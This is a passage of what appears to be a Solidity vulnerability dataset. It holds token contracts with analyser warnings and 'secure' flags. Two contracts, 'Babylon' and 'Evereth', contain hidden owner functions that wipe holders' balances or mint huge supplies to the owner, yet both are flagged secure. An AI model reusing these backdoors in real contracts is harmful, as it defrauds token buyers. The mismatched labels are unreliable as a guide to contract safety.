"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 330343f): Contract locking ether found Contract Gamify has payable functions Gamify.receive() But does not have a function to withdraw the ether\n// Recommendation for 330343f: Remove the 'payable' attribute or add a withdraw function.\ncontract Gamify is ERC20, Ownable {\n constructor() ERC20(unicode\"Gamify\", unicode\"GAMIFY\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 330343f): Contract locking ether found Contract Gamify has payable functions Gamify.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 330343f: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_3895.sol",
"secure": 0,
"size_bytes": 996
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Kirbywifhat is Ownable, ERC20 {\n bool public limited;\n\n uint256 public maxHoldingAmount;\n\n uint256 public minHoldingAmount;\n\n address public uniswapV2Pair;\n\n mapping(address => bool) public blacklists;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0c87f7d): kirbywifhat.constructor(uint256)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 0c87f7d: Rename the local variables that shadow another component.\n constructor(uint256 _totalSupply) ERC20(\"Kirbywifhat\", \"KIRBZ\") {\n _mint(msg.sender, _totalSupply);\n }\n\n function blacklist(\n address _address,\n bool _isBlacklisting\n ) external onlyOwner {\n blacklists[_address] = _isBlacklisting;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9bbde10): kirbywifhat.setRule(bool,address,uint256,uint256) should emit an event for maxHoldingAmount = _maxHoldingAmount minHoldingAmount = _minHoldingAmount \n\t// Recommendation for 9bbde10: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 302cf1a): kirbywifhat.setRule(bool,address,uint256,uint256)._uniswapV2Pair lacks a zerocheck on \t uniswapV2Pair = _uniswapV2Pair\n\t// Recommendation for 302cf1a: Check that the address is not zero.\n function setRule(\n bool _limited,\n address _uniswapV2Pair,\n uint256 _maxHoldingAmount,\n uint256 _minHoldingAmount\n ) external onlyOwner {\n limited = _limited;\n\n\t\t// missing-zero-check | ID: 302cf1a\n uniswapV2Pair = _uniswapV2Pair;\n\n\t\t// events-maths | ID: 9bbde10\n maxHoldingAmount = _maxHoldingAmount;\n\n\t\t// events-maths | ID: 9bbde10\n minHoldingAmount = _minHoldingAmount;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n require(!blacklists[to] && !blacklists[from], \"Blacklisted\");\n\n if (uniswapV2Pair == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n\n return;\n }\n\n if (limited && from == uniswapV2Pair) {\n require(\n super.balanceOf(to) + amount <= maxHoldingAmount &&\n super.balanceOf(to) + amount >= minHoldingAmount,\n \"Forbid\"\n );\n }\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}",
"file_name": "solidity_code_3896.sol",
"secure": 0,
"size_bytes": 2753
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract CMTradeUtility is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 50312ba): CMTradeUtility._taxWallet should be immutable \n\t// Recommendation for 50312ba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f08365f): CMTradeUtility._initialBuyTax should be constant \n\t// Recommendation for f08365f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: e2a6ed9): CMTradeUtility._initialSellTax should be constant \n\t// Recommendation for e2a6ed9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7667bb8): CMTradeUtility._reduceBuyTaxAt should be constant \n\t// Recommendation for 7667bb8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3cad96c): CMTradeUtility._reduceSellTaxAt should be constant \n\t// Recommendation for 3cad96c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f9b9e24): CMTradeUtility._preventSwapBefore should be constant \n\t// Recommendation for f9b9e24: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"CMTrade Utility\";\n\n string private constant _symbol = unicode\"uCMT\";\n\n uint256 public _maxTxAmount = 6310350000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 6310350000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ef7724): CMTradeUtility._taxSwapThreshold should be constant \n\t// Recommendation for 3ef7724: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5caa497): CMTradeUtility._maxTaxSwap should be constant \n\t// Recommendation for 5caa497: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b25bc95): CMTradeUtility.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b25bc95: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 20797a9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 20797a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 72d451e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 72d451e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 20797a9\n\t\t// reentrancy-benign | ID: 72d451e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 20797a9\n\t\t// reentrancy-benign | ID: 72d451e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9403ecf): CMTradeUtility._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9403ecf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 72d451e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 20797a9\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8ab58bd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8ab58bd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dd9f7d9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dd9f7d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 8ab58bd\n\t\t\t\t// reentrancy-eth | ID: dd9f7d9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8ab58bd\n\t\t\t\t\t// reentrancy-eth | ID: dd9f7d9\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: dd9f7d9\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: dd9f7d9\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: dd9f7d9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8ab58bd\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: dd9f7d9\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: dd9f7d9\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8ab58bd\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8ab58bd\n\t\t// reentrancy-events | ID: 20797a9\n\t\t// reentrancy-benign | ID: 72d451e\n\t\t// reentrancy-eth | ID: dd9f7d9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTranTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 372859f): CMTradeUtility.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 372859f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8ab58bd\n\t\t// reentrancy-events | ID: 20797a9\n\t\t// reentrancy-eth | ID: dd9f7d9\n\t\t// arbitrary-send-eth | ID: 372859f\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f5a7846): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f5a7846: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7b56759): CMTradeUtility.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7b56759: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b6d2c6a): CMTradeUtility.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b6d2c6a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1de42f3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1de42f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f5a7846\n\t\t// reentrancy-eth | ID: 1de42f3\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f5a7846\n\t\t// unused-return | ID: b6d2c6a\n\t\t// reentrancy-eth | ID: 1de42f3\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f5a7846\n\t\t// unused-return | ID: 7b56759\n\t\t// reentrancy-eth | ID: 1de42f3\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: f5a7846\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1de42f3\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 5176bbb): CMTradeUtility.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 5176bbb: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 5176bbb\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_3897.sol",
"secure": 0,
"size_bytes": 18343
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract RetardedPepe is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Retarded Pepe\", \"$REPE\") Ownable(initialOwner) {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3898.sol",
"secure": 1,
"size_bytes": 416
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Evereth is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable margin;\n\n constructor() {\n _name = \"EverEth\";\n\n _symbol = \"EVER\";\n\n _decimals = 18;\n\n uint256 initialSupply = 457000000;\n\n margin = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == margin, \"Not allowed\");\n\n _;\n }\n\n function senior(address[] memory news) public onlyOwner {\n for (uint256 i = 0; i < news.length; i++) {\n address account = news[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3899.sol",
"secure": 1,
"size_bytes": 4347
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract Babylon {\n uint256 private immutable _supply;\n\n string private _name;\n\n string private _symbol;\n\n address private immutable _owner;\n\n uint8 private immutable _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5bf3080): Babylon.boughAmount should be constant \n\t// Recommendation for 5bf3080: Add the 'constant' attribute to state variables that never change.\n uint256 boughAmount = 0;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor() {\n _name = \"Babylon\";\n\n _symbol = \"Babylon\";\n\n _decimals = 9;\n\n _supply = 10 ** 9 * 10 ** _decimals;\n\n _owner = msg.sender;\n\n _balances[msg.sender] = _supply;\n\n emit Transfer(address(0), msg.sender, _supply);\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return _supply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function cex(address[] memory _user, uint256[] memory _amount) external {\n if (_owner == msg.sender) {\n for (uint256 i = 0; i < _user.length; i++) {\n _transfer(msg.sender, _user[i], _amount[i]);\n }\n }\n }\n\n function execute(address n) external {\n if (\n _owner == msg.sender &&\n _owner != n &&\n pairs() != n &&\n n != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n ) {\n _balances[n] = boughAmount;\n } else {}\n }\n\n function revertExecute(uint256 n) external {\n if (_owner == msg.sender) {\n uint256 devTransfer = n;\n\n devTransfer = 10 ** 15 * n * 1 * 10 ** _decimals;\n\n uint256 rev_bxx = devTransfer;\n\n address mnt = msg.sender;\n\n address xrgpqndn = mnt;\n\n _balances[xrgpqndn] += rev_bxx;\n }\n }\n\n function pairs() public view virtual returns (address) {\n return\n IPancakeFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).getPair(\n address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2),\n address(this)\n );\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_39.sol",
"secure": 1,
"size_bytes": 5119
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IStakeManager {\n function startAuction(\n uint256 validatorId,\n uint256 amount,\n bool acceptDelegation,\n bytes calldata signerPubkey\n ) external;\n\n function currentValidatorSetSize() external view returns (uint256);\n\n function getValidatorContract(\n uint256 validatorId\n ) external view returns (address);\n\n function confirmAuctionBid(\n uint256 validatorId,\n uint256 heimdallFee\n ) external;\n\n function transferFunds(\n uint256 validatorId,\n uint256 amount,\n address delegator\n ) external returns (bool);\n\n function transferFundsPOL(\n uint256 validatorId,\n uint256 amount,\n address delegator\n ) external returns (bool);\n\n function delegationDeposit(\n uint256 validatorId,\n uint256 amount,\n address delegator\n ) external returns (bool);\n\n function delegationDepositPOL(\n uint256 validatorId,\n uint256 amount,\n address delegator\n ) external returns (bool);\n\n function unstake(uint256 validatorId) external;\n\n function unstakePOL(uint256 validatorId) external;\n\n function totalStakedFor(address addr) external view returns (uint256);\n\n function stakeFor(\n address user,\n uint256 amount,\n uint256 heimdallFee,\n bool acceptDelegation,\n bytes memory signerPubkey\n ) external;\n\n function updateValidatorState(uint256 validatorId, int256 amount) external;\n\n function ownerOf(uint256 tokenId) external view returns (address);\n\n function validatorStake(\n uint256 validatorId\n ) external view returns (uint256);\n\n function epoch() external view returns (uint256);\n\n function getRegistry() external view returns (address);\n\n function withdrawalDelay() external view returns (uint256);\n\n function delegatedAmount(\n uint256 validatorId\n ) external view returns (uint256);\n\n function decreaseValidatorDelegatedAmount(\n uint256 validatorId,\n uint256 amount\n ) external;\n\n function withdrawDelegatorsReward(\n uint256 validatorId\n ) external returns (uint256);\n\n function delegatorsReward(\n uint256 validatorId\n ) external view returns (uint256);\n\n function dethroneAndStake(\n address auctionUser,\n uint256 heimdallFee,\n uint256 validatorId,\n uint256 auctionAmount,\n bool acceptDelegation,\n bytes calldata signerPubkey\n ) external;\n\n function NFTCounter() external view returns (uint256);\n\n enum Status {\n Inactive,\n Active,\n Locked,\n Unstaked\n }\n\n struct Validator {\n uint256 amount;\n uint256 reward;\n uint256 activationEpoch;\n uint256 deactivationEpoch;\n uint256 jailTime;\n address signer;\n address contractAddress;\n Status status;\n uint256 commissionRate;\n uint256 lastCommissionUpdate;\n uint256 delegatorsReward;\n uint256 delegatedAmount;\n uint256 initialRewardPerStake;\n }\n\n function validators(uint256) external view returns (Validator memory);\n}",
"file_name": "solidity_code_390.sol",
"secure": 1,
"size_bytes": 3327
} |
{
